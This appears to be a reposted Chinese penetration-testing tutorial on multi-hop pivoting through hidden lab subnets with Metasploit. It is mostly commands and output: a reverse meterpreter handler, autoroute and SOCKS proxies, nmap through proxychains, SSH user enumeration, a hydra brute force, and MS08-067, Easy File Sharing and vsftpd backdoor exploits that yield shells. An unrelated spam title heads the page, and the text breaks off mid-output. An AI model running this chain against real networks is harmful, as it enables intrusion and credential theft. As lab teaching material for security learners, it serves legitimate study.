自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

多重轉(zhuǎn)發(fā)滲透隱藏內(nèi)網(wǎng)

安全 網(wǎng)站安全
今天本文講解關(guān)于多重轉(zhuǎn)發(fā)滲透隱藏內(nèi)網(wǎng)的實例。

[[185320]]

一、About

內(nèi)網(wǎng)機器如下:

內(nèi)網(wǎng)機器

說明:

1)Attacker為攻擊者,有一個網(wǎng)卡,網(wǎng)段為172.16.0.0,Attacker系統(tǒng)為kali系統(tǒng)

2)RD為第一個已經(jīng)滲透的目標,有兩塊網(wǎng)卡,對應(yīng)172.16.0.0和7.7.7.0兩個網(wǎng)段

3)JC有兩塊網(wǎng)卡,對應(yīng)7.7.7.0和8.8.8.0兩個網(wǎng)段,JC有ms08-067和efs bof兩個漏洞,可getshell

4)SK有一塊網(wǎng)卡,對應(yīng)8.8.8.0網(wǎng)段,SK有vsftpd的漏洞,可getshell

5)起初Attacker只拿到RD的msf的shell,對于目標內(nèi)網(wǎng)情況一無所知,也不知道存在7.7.7.0和8.8.8.0這兩個隱藏的網(wǎng)段

6)目標是準備通過RD來滲透內(nèi)網(wǎng)中7.7.7.0和8.8.8.0兩個隱藏的網(wǎng)段

二、Step1

Attacker在RD上通過webshell運行了一個reverse類型的后門,然后操作如下:

  1. msf > use exploit/multi/handler  
  2. msf exploit(handler) > set payload windows/meterpreter/reverse_tcp 
  3. payload => windows/meterpreter/reverse_tcp 
  4. msf exploit(handler) > set LHOST 172.16.0.20  
  5. LHOST => 172.16.0.20msf exploit(handler) > set LPORT 1234 
  6. LPORT => 1234msf exploit(handler) > run 
  7. [*] Started reverse TCP handler on 172.16.0.20:1234  
  8. [*] Starting the payload handler... 
  9. [*] Sending stage (957487 bytes) to 172.16.0.11 
  10. [*] Meterpreter session 2 opened (172.16.0.20:1234 -> 172.16.0.11:49162)meterpreter > ifconfig 
  11. Interface  1============ 
  12. Name         : Software Loopback Interface 1Hardware MAC : 00:00:00:00:00:00MTU          : 4294967295IPv4 Address : 127.0.0.1IPv4 Netmask : 255.0.0.0IPv6 Address : ::1IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff 
  13. Interface 11============ 
  14. Name         : Intel(R) PRO/1000 MT Desktop Adapter 
  15. Hardware MAC : 08:00:27:e1:3f:af 
  16. MTU          : 1500IPv4 Address : 172.16.0.11IPv4 Netmask : 255.255.255.0Interface 19============ 
  17. Name         : Intel(R) PRO/1000 MT Desktop Adapter #2Hardware MAC : 08:00:27:7f:3c:fe 
  18. MTU          : 1500IPv4 Address : 7.7.7.11IPv4 Netmask : 255.255.255.0 

三、Step2

發(fā)現(xiàn)RD有兩塊網(wǎng)卡后,想辦法滲透另一個網(wǎng)段7.7.7.0,首先要添加路由[不添加路由也可以直接用meterpreter shell中的模塊訪問 到7.7.7.x網(wǎng)段,添加路由的目的是為了使得msf模塊可以訪問到7.7.7.x網(wǎng)段],meterpreter shell可以訪問到7.7.7.x網(wǎng)段,msf 中的模塊不能訪問到7.7.7.x網(wǎng)段,msf中的模塊所處的ip是攻擊者的ip,meterpreter shell所處的ip是RD的ip.在meterpreter中 添加路由的目的是為了給msf模塊作代理,也即給Attacker作代理,但是只能給Attacker的msf模塊作代理,要想給Attacker的其他 應(yīng)用程序作代理,則需要在meterpreter添加路由后再運行msf的開啟sock4的模塊,然后再用proxychains來設(shè)置Attacker的其他 應(yīng)用程序的代理為msf的開啟sock4代理模塊中設(shè)置的代理入口。

操作如下:

  1. meterpreter > run autoroute -s 7.7.7.0/24[*] Adding a route to 7.7.7.0/255.255.255.0... 
  2. [+] Added route to 7.7.7.0/255.255.255.0 via 172.16.0.11[*] Use the -p option to list all active routes 
  3. meterpreter > run autoroute -p 
  4. Active Routing Table 
  5. ==================== 
  6.  Subnet Netmask Gateway 
  7.  ------ ------- ------- 7.7.7.0 255.255.255.0 Session 2meterpreter > 

然后開始掃描7.7.7.0網(wǎng)段,操作如下:

  1. meterpreter > run post/windows/gather/arp_scanner RHOSTS=7.7.7.0/24[*] Running module against DISCORDIA 
  2. [*] ARP Scanning 7.7.7.0/24[*]     IP: 7.7.7.11 MAC 08:00:27:7f:3c:fe (CADMUS COMPUTER SYSTEMS) 
  3. [*]     IP  7.7.7.12 MAC 08:00:27:3a:b2:c1 (CADMUS CIMPUTER SYSTEMS) 
  4. [*]     IP: 7.7.7.20 MAC 08:00:27:fa:a0:c5 (CADMUS COMPUTER SYSTEMS) 
  5. [*]     IP: 7.7.7.255 MAC 08:00:27:3f:2a:b5 (CADMUS COMPUTER SYSTEMS) 
  6. meterpreter > 

arp_scanner不太夠用,不能掃到端口信息[此時也可用msf自帶的其他可以掃描端口的模塊如auxiliary/scanner/portscan/tcp來掃 描,因為前面添加了路由,使得msf中的模塊可以用meterpreter作為代理訪問到7.7.7.x網(wǎng)段],于是用Attacker本機的nmap來掃[可以 更完全的掃描,nmap應(yīng)該比msf中的掃描模塊強大],首先在RD上開sockets4代理,然后用proxychains設(shè)置nmap的代理為msf模塊開 啟的Attacker的1080端口提供的代理,操作如下:

  1. meterpreter > background  
  2. [*] Backgrounding session 2... 
  3. msf > use auxiliary/server/socks4a  
  4. msf auxiliary(socks4a) > show options  
  5. Module options (auxiliary/server/socks4a): 
  6.    Name     Current Setting  Required  Description 
  7.    ----     ---------------  --------  ----------- 
  8.    SRVHOST  0.0.0.0          yes       The address to listen on 
  9.    SRVPORT  1080             yes       The port to listen on. 
  10. Auxiliary action: 
  11.    Name   Description 
  12.    ----   ----------- 
  13.    Proxy   
  14. msf auxiliary(socks4a) > set srvhost 172.16.0.20 
  15. srvhost => 172.16.0.20msf auxiliary(socks4a) > run 
  16. [*] Auxiliary module execution completed 
  17. [*] Starting the socks4a proxy server 
  18. msf auxiliary(socks4a) > netstat -antp | grep 1080 
  19. [*] exec: netstat -antp | grep 1080 
  20. tcp        0      172.16.0.20:1080            0.0.0.0:*               LISTEN      3626/ruby        
  21. msf auxiliary(socks4a) > 

proxychains設(shè)置/etc/proxychains.conf如下:

  1. [ProxyList]# add proxy here ...# meanwile# defaults set to "tor"#socks4  127.0.0.1 9050socks4  172.16.0.20 1080 

nmap掃描如下:

  1. root@kali:~# proxychains nmap -sT -sV -Pn -n -p22,80,135,139,445 --script=smb-vuln-ms08-067.nse 7.7.7.20ProxyChains-3.1 (http://proxychains.sf.net)Starting Nmap 7.25BETA1 ( https://nmap.org )|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK 
  2. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:80-<><>-OK 
  3. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK 
  4. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK 
  5. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK 
  6. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK 
  7. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK 
  8. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK 
  9. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK 
  10. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK 
  11. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK 
  12. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK 
  13. Nmap scan report for 7.7.7.20Host is up (0.17s latency). 
  14. PORT     STATE    SERVICE      VERSION 
  15. 22/tcp   open     ssh          Bitvise WinSSHD 7.16 (FlowSsh 7.15; protocol 2.0)80/tcp   closed   http         Easy File Sharing Web Server httpd 6.9 
  16. 135/tcp  open     msrpc        Microsoft Windows RPC 
  17. 139/tcp  open     netbios-ssn  Microsoft Windows netbios-ssn 
  18. 445/tcp  open     microsoft-ds Microsoft Windows 2003 or 2008 microsoft-ds 
  19. Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2003 
  20. Host script results: 
  21. | smb-vuln-ms08-067:  
  22. |   VULNERABLE: 
  23. |   Microsoft Windows system vulnerable to remote code execution (MS08-067)|     State: VULNERABLE 
  24. |     IDs: CVE:CVE-2008-4250 
  25. |          The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,  
  26. |          Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary  
  27. |          code via a crafted RPC request that triggers the overflow during path canonicalization. 
  28. |  
  29. |     Disclosure date: 2008-10-23 
  30. |     References: 
  31. |       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250|_      https://technet.microsoft.com/en-us/library/security/ms08-067.aspxService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 12.51 seconds 
  32. root@kali:~# 

現(xiàn)在發(fā)現(xiàn)了7.7.7.20(JC)這臺機器端口開放比較多,嘗試找出JC的漏洞,操作如下: 首先看看JC的80端口運行了什么cms,但是Attacker的瀏覽器直接訪問http://172.16.0.20會無法訪問,因為Attacker的網(wǎng)段與JC 不在同一網(wǎng)段,此處有個要注意的內(nèi)容:

Attention:可以選擇使用proxychains設(shè)置Attacker的瀏覽器的代理為Attacker的1080端口的socks4代理入口,也可通過在RD的meterpreter會 話中運行portfwd模塊命令,portfwd命令如下:

  1. meterpreter > portfwd add -L 172.16.0.20 -l 2323 -p 80 -r 7.7.7.20[*] Local TCP relay created: 172.16.0.20:2323 <-> 7.7.7.20:80meterpreter > 
  2. meterpreter > portfwd listActive Port Forwards 
  3. ==================== 
  4.    Index  Local             Remote       Direction 
  5.    -----  -----             ------       ---------   1      172.16.0.20:2323  7.7.7.20:80  Forward1 total active port forwards. 
  6. meterpreter > 

通過訪問Attacker的2323端口訪問JC的80端口,結(jié)果如下:

通過訪問Attacker的2323端口訪問JC的80端口

這里的portfwd模塊不只是名字上的端口轉(zhuǎn)發(fā)的意思,目前筆者認為portfwd相當于半個ssh正向代理加一個ssh反向代理組成的綜合命令,ssh正向反向代理可參考這里的理解 。ssh正向反向代理理解筆者認為portfwd命令之后Attacker可以通過訪問Attacker本身ip的2323端口進而訪問到JC的80端口期間發(fā)生了3件事。

1.RD訪問JC的80端口,這里相當于半個ssh正向代理

2.RD綁定已經(jīng)訪問到的JC的80端口的數(shù)據(jù)到Attacker的2323端口,這里相當于一個ssh反向代理,相當于RD有Attacker的ssh權(quán)限

3.攻擊者的瀏覽器訪問攻擊者自己的172.16.0.20:2323

portfwd的用法如下:

  1. meterpreter > portfwd -h 
  2. Usage: portfwd [-h] [add | delete | list | flush] [args] 
  3. OPTIONS: 
  4.      -L >opt>  The local host to listen on (optional). 
  5.      -h        Help banner. 
  6.      -l >opt>  The local port to listen on. 
  7.      -p >opt>  The remote port to connect on. 
  8.      -r >opt>  The remote host to connect on. 
  9. meterpreter > 

其中-L只能設(shè)置為攻擊者的ip,不能設(shè)置為肉雞的ip,-L設(shè)置的ip可以是攻擊者的內(nèi)網(wǎng)ip,-r也可以是目標的內(nèi)網(wǎng)ip,兩個內(nèi)網(wǎng)之 間通過meterpreter會話的"隧道"來連通,如果-L后設(shè)置的ip是攻擊者的內(nèi)網(wǎng)ip,-r后設(shè)置的是目標機器的內(nèi)網(wǎng)ip,portfwd通過 meterpreter會話連通兩臺,-l是指攻擊者的監(jiān)聽端口,運行完上面的portfwd add -L 172.16.0.20 -l 2323 -p 80 -r 7.7.7.20 命令后,Attacker的2323端口將變成監(jiān)聽狀態(tài)(也即Attacker會開啟2323端口) 這里還要注意route add命令只能是在meterpreter會話中有效,不能系統(tǒng)全局有效,筆者認為route add也是通過meterpreter會 話的"隧道"來實現(xiàn)攻擊者能夠訪問目標機器其他網(wǎng)段機器的,也即在上面的Attacker通過portfwd來實現(xiàn)訪問目標機器其他網(wǎng)段 機器而不能因為在portfwd模塊運行前由于已經(jīng)運行了route add模塊而由Attacker的瀏覽器直接訪問目標7.7.7.20:80,因為 route add只會給msf的模塊提供meterpreter會話通道作為代理服務(wù),只有meterpreter會話下可用的模塊可以直接訪問7.7.7.x 網(wǎng)段,Attacker的瀏覽器想直接訪問7.7.7.20需要使用proxychins和msf開啟的sock4代理.

上面訪問得到目標機器JC的80端口信息看出JC運行的是Eash File Sharing Web Server,可用msf中的模塊嘗試getshell,操作如 下(如果沒有在meterpreter中添加路由msf是訪問不到7.7.7.20的):

  1. msf  > use exploit/windows/http/easyfilesharing_seh  
  2. msf exploit(easyfilesharing_seh) > show options  
  3. Module options (exploit/windows/http/easyfilesharing_seh): 
  4.    Name   Current Setting  Required  Description 
  5.    ----   ---------------  --------  ----------- 
  6.    RHOST                   yes       The target address 
  7.    RPORT  80               yes       The target port 
  8. Exploit target: 
  9.    Id  Name 
  10.    --  ---- 
  11.    0   Easy File Sharing 7.2 HTTP 
  12. msf exploit(easyfilesharing_seh) > set rhost 7.7.7.20 
  13. rhost => 7.7.7.20msf exploit(easyfilesharing_seh) > set payload windows/meterpreter/bind_tcp 
  14. payload => windows/meterpreter/bind_tcp 
  15. msf exploit(easyfilesharing_seh) > run 
  16. [*] Started bind handler 
  17. [*] 7.7.7.20:80 - 7.7.7.20:80 - Sending exploit... 
  18. [+] 7.7.7.20:80 - Exploit Sent 
  19. [*] Sending stage (957999 bytes) to 7.7.7.20 
  20. [*] Meterpreter session 2 opened (172.16.0.20-172.16.0.11:0 -> 7.7.7.20:4444) at 2016-12-26 14:21:11 +0300 

或者從JC(7.7.7.20)22端口入手:

  1. msf > use auxiliary/scanner/ssh/ssh_enumusers  
  2. msf auxiliary(ssh_enumusers) > set rhosts 7.7.7.20rhosts => 7.7.7.20msf auxiliary(ssh_enumusers) > set rport 22rport => 22msf auxiliary(ssh_enumusers) > set user_file /usr/share/wordlists/metasploit/default_users_for_services_unhash.txt 
  3. user_file => /usr/share/wordlists/metasploit/default_users_for_services_unhash.txt 
  4. msf auxiliary(ssh_enumusers) > run 
  5. [*] 7.7.7.20:22 - SSH - Checking for false positives 
  6. [*] 7.7.7.20:22 - SSH - Starting scan 
  7. [+] 7.7.7.20:22 - SSH - User 'admin' found 
  8. [-] 7.7.7.20:22 - SSH - User 'root' not found 
  9. [-] 7.7.7.20:22 - SSH - User 'Administrator' not found 
  10. [+] 7.7.7.20:22 - SSH - User 'sysadm' found 
  11. [-] 7.7.7.20:22 - SSH - User 'tech' not found 
  12. [-] 7.7.7.20:22 - SSH - User 'operator' not found 
  13. [+] 7.7.7.20:22 - SSH - User 'guest' found 
  14. [-] 7.7.7.20:22 - SSH - User 'security' not found 
  15. [-] 7.7.7.20:22 - SSH - User 'debug' not found 
  16. [+] 7.7.7.20:22 - SSH - User 'manager' found 
  17. [-] 7.7.7.20:22 - SSH - User 'service' not found 
  18. [-] 7.7.7.20:22 - SSH - User '!root' not found 
  19. [+] 7.7.7.20:22 - SSH - User 'user' found 
  20. [-] 7.7.7.20:22 - SSH - User 'netman' not found 
  21. [+] 7.7.7.20:22 - SSH - User 'super' found 
  22. [-] 7.7.7.20:22 - SSH - User 'diag' not found 
  23. [+] 7.7.7.20:22 - SSH - User 'Cisco' found 
  24. [-] 7.7.7.20:22 - SSH - User 'Manager' not found 
  25. [+] 7.7.7.20:22 - SSH - User 'DTA' found 
  26. [-] 7.7.7.20:22 - SSH - User 'apc' not found 
  27. [+] 7.7.7.20:22 - SSH - User 'User' found 
  28. [-] 7.7.7.20:22 - SSH - User 'Admin' not found 
  29. [+] 7.7.7.20:22 - SSH - User 'cablecom' found 
  30. [-] 7.7.7.20:22 - SSH - User 'adm' not found 
  31. [+] 7.7.7.20:22 - SSH - User 'wradmin' found 
  32. [-] 7.7.7.20:22 - SSH - User 'netscreen' not found 
  33. [+] 7.7.7.20:22 - SSH - User 'sa' found 
  34. [-] 7.7.7.20:22 - SSH - User 'setup' not found 
  35. [+] 7.7.7.20:22 - SSH - User 'cmaker' found 
  36. [-] 7.7.7.20:22 - SSH - User 'enable' not found 
  37. [+] 7.7.7.20:22 - SSH - User 'MICRO' found 
  38. [-] 7.7.7.20:22 - SSH - User 'login' not found 
  39. [*] Caught interrupt from the console... 
  40. [*] Auxiliary module execution completed 
  41. ^C 
  42. msf auxiliary(ssh_enumusers) > 

然后用hydra本地用msf模塊開啟的1080端口的sock4代理嘗試爆破:

  1. root@kali:~# proxychains hydra 7.7.7.20 ssh -s 22 -L /tmp/user.txt -P top100.txt -t 4 
  2. ProxyChains-3.1 (http://proxychains.sf.net) 
  3. Hydra v8.2 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. 
  4. Hydra (http://www.thc.org/thc-hydra) starting  
  5. [WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort... 
  6. [DATA] max 4 tasks per 1 server, overall 64 tasks, 20 login tries (l:2/p:10), ~0 tries per task 
  7. [DATA] attacking service ssh on port 22 
  8. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK 
  9. |S-chain|-<>-172.16.0.20:1080-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK<><>-OK<><>-OK<><>-OK 
  10. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK 
  11. [22][ssh] host: 7.7.7.20   login: admin   password: 123456 
  12. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK<><>-OK 
  13. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK 
  14. |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK 
  15. 1 of 1 target successfully completed, 1 valid password found 
  16. Hydra (http://www.thc.org/thc-hydra) finished 
  17. root@kali:~# 

發(fā)現(xiàn)有可用帳戶密碼admin:123456,然后再用sock4代理ssh登錄:

  1. root@kali:~# proxychains ssh admin@7.7.7.20 
  2. ProxyChains-3.1 (http://proxychains.sf.net) 
  3. |D-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK 
  4. The authenticity of host '7.7.7.20 (7.7.7.20)' can't be established. 
  5. ECDSA key fingerprint is SHA256:Rcz2KrPF3BTo16Ng1kET91ycbr9c8vOkZcZ6b4VawMQ. 
  6. Are you sure you want to continue connecting (yes/no)? yes 
  7. Warning: Permanently added '7.7.7.20' (ECDSA) to the list of known hosts. 
  8. admin@7.7.7.20's password:  
  9. bvshell:/C/Documents and Settings/All Users$ pwd 
  10. /C/Documents and Settings/All Users 
  11. bvshell:/C/Documents and Settings/All Users$ dir 
  12. 2016-12-24  21:32          <DIR> Application Data 
  13. 2016-12-25  06:16          <DIR> Desktop 
  14. 2016-12-24  18:36          <DIR> Documents 
  15. 2016-12-24  18:37          <DIR> DRM 
  16. 2016-12-24  21:32          <DIR> Favorites 
  17. 2016-12-24  18:38          <DIR> Start Menu 
  18. 2016-12-24  21:32          <DIR> Templates 
  19.       0 Files                  0 bytes 
  20.       7 Directories 
  21. bvshell:/C/Documents and Settings/All Users$ 

或者用ms08067:

  1. msf > use exploit/windows/smb/ms08_067_netapi  
  2. msf exploit(ms08_067_netapi) > show options  
  3. Module options (exploit/windows/smb/ms08_067_netapi): 
  4.    Name     Current Setting  Required  Description 
  5.    ----     ---------------  --------  ----------- 
  6.    RHOST                     yes       The target address 
  7.    RPORT    445              yes       The SMB service port 
  8.    SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC) 
  9. Exploit target: 
  10.    Id  Name 
  11.    --  ----   0   Automatic Targeting 
  12. msf exploit(ms08_067_netapi) > set rhost 7.7.7.20rhost => 7.7.7.20msf exploit(ms08_067_netapi) > set payload windows/meterpreter/bind_tcp 
  13. payload => windows/meterpreter/bind_tcp 
  14. msf exploit(ms08_067_netapi) > show options  
  15. Module options (exploit/windows/smb/ms08_067_netapi): 
  16.    Name     Current Setting  Required  Description 
  17.    ----     ---------------  --------  ----------- 
  18.    RHOST    7.7.7.20         yes       The target address 
  19.    RPORT    445              yes       The SMB service port 
  20.    SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC) 
  21. Payload options (windows/meterpreter/bind_tcp): 
  22.    Name      Current Setting  Required  Description 
  23.    ----      ---------------  --------  ----------- 
  24.    EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none) 
  25.    LPORT     4444             yes       The listen port 
  26.    RHOST     7.7.7.20         no        The target address 
  27. Exploit target: 
  28.    Id  Name 
  29.    --  ----   0   Automatic Targeting 
  30. msf exploit(ms08_067_netapi) > run 
  31. [*] Started bind handler 
  32. [*] 7.7.7.20:445 - Automatically detecting the target... 
  33. [*] 7.7.7.20:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown 
  34. [*] 7.7.7.20:445 - We could not detect the language pack, defaulting to English 
  35. [*] 7.7.7.20:445 - Selected Target: Windows 2003 SP2 English (NX) 
  36. [*] 7.7.7.20:445 - Attempting to trigger the vulnerability... 
  37. [*] Sending stage (957999 bytes) to 7.7.7.20[*] Meterpreter session 2 opened (172.16.0.20-172.16.0.11:0 -> 7.7.7.20:4444)  
  38. meterpreter > 

成功溢出getshell后查看JC(7.7.7.20)網(wǎng)卡信息:

  1. meterpreter > ipconfigInterface  1============Name         : MS TCP Loopback interfaceHardware MAC : 00:00:00:00:00:00MTU          : 1520IPv4 Address : 127.0.0.1Interface 65539============Name         : Intel(R) PRO/1000 MT Desktop AdapterHardware MAC : 08:00:27:29:cd:cbMTU          : 1500IPv4 Address : 8.8.8.3IPv4 Netmask : 255.255.255.0Interface 65540============Name         : Intel(R) PRO/1000 MT Desktop Adapter #2Hardware MAC : 08:00:27:e3:47:43MTU          : 1500IPv4 Address : 7.7.7.20IPv4 Netmask : 255.255.255.0meterpreter > 

發(fā)現(xiàn)又出現(xiàn)一個8.8.8.x的網(wǎng)段,于是將這個網(wǎng)段添加路由,以便msf中的模塊可以訪問到8.8.8.x網(wǎng)段.

四、Step3

先直接用新的meterpreter shell看看8.8.8.x這個網(wǎng)段有什么機器

  1. meterpreter > run post/windows/gather/arp_scanner RHOSTS=8.8.8.0/24[*] Running module against SRV03[*] ARP Scanning 8.8.8.0/24[*]   IP: 8.8.8.3 MAC 08:00:27:29:cd:cb (CADMUS COMPUTER SYSTEMS)[*]   IP: 8.8.8.1 MAC 0a:00:27:00:00:03 (UNKNOWN)[*]   IP: 8.8.8.9 MAC 08:00:27:56:f1:7c (CADMUS COMPUTER SYSTEMS)[*]    IP: 8.8.8.13 MAC 08:00:27:13:a3:b1 (CADMUS COMPUTER SYSTEMS) 

為了讓msf中所有模塊都能訪問到8.8.8.x網(wǎng)段,在新的meterpreter會話中添加路由:

  1. meterpreter > run autoroute -s 8.8.8.0/24[*] Adding a route to 8.8.8.0/255.255.255.0...[+] Added route to 8.8.8.0/255.255.255.0 via 7.7.7.20[*] Use the -p option to list all active routes 

為了讓Attacker的除了msf模塊以外的其他應(yīng)用程序能訪問到8.8.8.x網(wǎng)段,再使用msf的開啟sock4代理的模塊開啟另外一個端口 作為8.8.8.x網(wǎng)段的入口:

  1. msf exploit(ms08_067_netapi) > use auxiliary/server/socks4a  
  2. msf auxiliary(socks4a) > show options  
  3. Module options (auxiliary/server/socks4a): 
  4.    Name     Current Setting  Required  Description 
  5.    ----     ---------------  --------  ----------- 
  6.    SRVHOST  172.16.0.20      yes       The address to listen on 
  7.    SRVPORT  1080             yes       The port to listen on. 
  8. Auxiliary action: 
  9.    Name   Description 
  10.    ----   ----------- 
  11.    Proxy   
  12. msf auxiliary(socks4a) > set SRVPORT 1081SRVPORT => 1081msf auxiliary(socks4a) > run 
  13. [*] Auxiliary module execution completed 
  14. [*] Starting the socks4a proxy server 
  15. msf auxiliary(socks4a) > 

也即現(xiàn)在Attacker本地的1080端口的代理可以訪問到7.7.7.x網(wǎng)段,1081端口的代理可以訪問到8.8.8.x網(wǎng)段,然后將新開的端口 添加到proxychains的配置文件中:

  1. root@kali:~# cat /etc/proxychains.conf | grep -v "#"dynamic_chainproxy_dns tcp_read_time_out 15000tcp_connect_time_out 8000socks4  172.16.0.20 1080  # First Pivotsocks4  172.16.0.20 1081  # Second Pivot 

上面的兩個代理相當于扇門的鑰匙,172.16.0.20:1080是7.7.7.x的鑰匙,172.16.0.20:1081是7.7.7.x后面的8.8.8.x的鑰匙 ,Attacker要想訪問到8.8.8.x可以通過先打開7.7.7.x的門,再打開8.8.8.x的門(因為8.8.8.x這個門在7.7.7.x這個門之后)

使用Attacker本地的nmap掃描下8.8.8.x網(wǎng)段:

  1. root@kali:~# proxychains nmap -sT -sV -p21,22,23,80 8.8.8.9 -n -Pn -vvProxyChains-3.1 (http://proxychains.sf.net)Starting Nmap 7.25BETA1 ( https://nmap.org )Nmap wishes you a merry Christmas! Specify -sX for Xmas Scan (https://nmap.org/book/man-port-scanning-techniques.html).NSE: Loaded 36 scripts for scanning. 
  2. Initiating Connect Scan 
  3. Scanning 8.8.8.9 [4 ports] 
  4. |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:21-<><>-OK 
  5. Discovered open port 21/tcp on 8.8.8.9|D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:23-<><>-OK 
  6. Discovered open port 23/tcp on 8.8.8.9|D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:22-<><>-OK 
  7. Discovered open port 22/tcp on 8.8.8.9|D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK 
  8. Discovered open port 80/tcp on 8.8.8.9Completed Connect Scan at 05:54, 1.37s elapsed (4 total ports)Initiating Service scan at 05:54 
  9. Scanning 4 services on 8.8.8.9 
  10. |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:21-<><>-OK 
  11. |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:22-<><>-OK 
  12. |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:23-<><>-OK 
  13. |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK 
  14. Completed Service scan at 05:54, 11.09s elapsed (4 services on 1 host)NSE: Script scanning 8.8.8.9. 
  15. NSE: Starting runlevel 1 (of 2) scan. 
  16. Initiating NSE at 05:54 
  17. |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK 
  18. |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK 
  19. Completed NSE at 05:54, 1.71s elapsed 
  20. NSE: Starting runlevel 2 (of 2) scan. 
  21. Initiating NSE at 05:54 
  22. Completed NSE at 05:54, 0.00s elapsed 
  23. Nmap scan report for 8.8.8.9 
  24. Host is up, received user-set (0.41s latency). 
  25. Scanned  
  26. PORT   STATE SERVICE REASON  VERSION 
  27. 21/tcp open  ftp     syn-ack vsftpd 2.3.4 
  28. 22/tcp open  ssh     syn-ack OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)23/tcp open  telnet  syn-ack Linux telnetd 
  29. 80/tcp open  http    syn-ack Apache httpd 2.2.8 ((Ubuntu) DAV/2) 
  30. Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel 
  31. Read data files from: /usr/bin/../share/nmap 
  32. Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 14.59 seconds 
  33. root@kali:~# 

發(fā)現(xiàn)8.8.8.9(SK)這臺機器可能有漏洞,用msf模塊嘗試getshell:

  1. msf > msf > use exploit/unix/ftp/vsftpd_234_backdoor msf exploit(vsftpd_234_backdoor) > show options Module options (exploit/unix/ftp/vsftpd_234_backdoor):   Name   Current Setting  Required  Description   ----   ---------------  --------  -----------   RHOST                   yes       The target address   RPORT  21               yes       The target portExploit target:   Id  Name   --  ----   0   Automaticmsf exploit(vsftpd_234_backdoor) > set rhost 8.8.8.9rhost => 8.8.8.9msf exploit(vsftpd_234_backdoor) > run[*] 8.8.8.9:21 - Banner: 220 (vsFTPd 2.3.4)[*] 8.8.8.9:21 - USER: 331 Please specify the password.[+] 8.8.8.9:21 - Backdoor service has been spawned, handling...[+] 8.8.8.9:21 - UID: uid=0(root) gid=0(root)[*] Found shell.[*] Command shell session 4 opened (Local Pipe -> Remote Pipe) pwd/iduid=0(root) gid=0(root)ifconfigeth0      Link encap:Ethernet  HWaddr 08:00:27:56:f1:7c            inet addr:8.8.8.9  Bcast:8.8.8.255  Mask:255.255.255.0          inet6 addr: fe80::a00:27ff:fe56:f17c/64 Scope:Link          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1          RX packets:10843 errors:0 dropped:0 overruns:0 frame:0          TX packets:2779 errors:0 dropped:0 overruns:0 carrier:0          collisions:0 txqueuelen:1000           RX bytes:1081842 (1.0 MB)  TX bytes:661455 (645.9 KB)          Base address:0xd010 Memory:f0000000-f0020000 lo        Link encap:Local Loopback            inet addr:127.0.0.1  Mask:255.0.0.0          inet6 addr: ::1/128 Scope:Host          UP LOOPBACK RUNNING  MTU:16436  Metric:1          RX packets:18161 errors:0 dropped:0 overruns:0 frame:0          TX packets:18161 errors:0 dropped:0 overruns:0 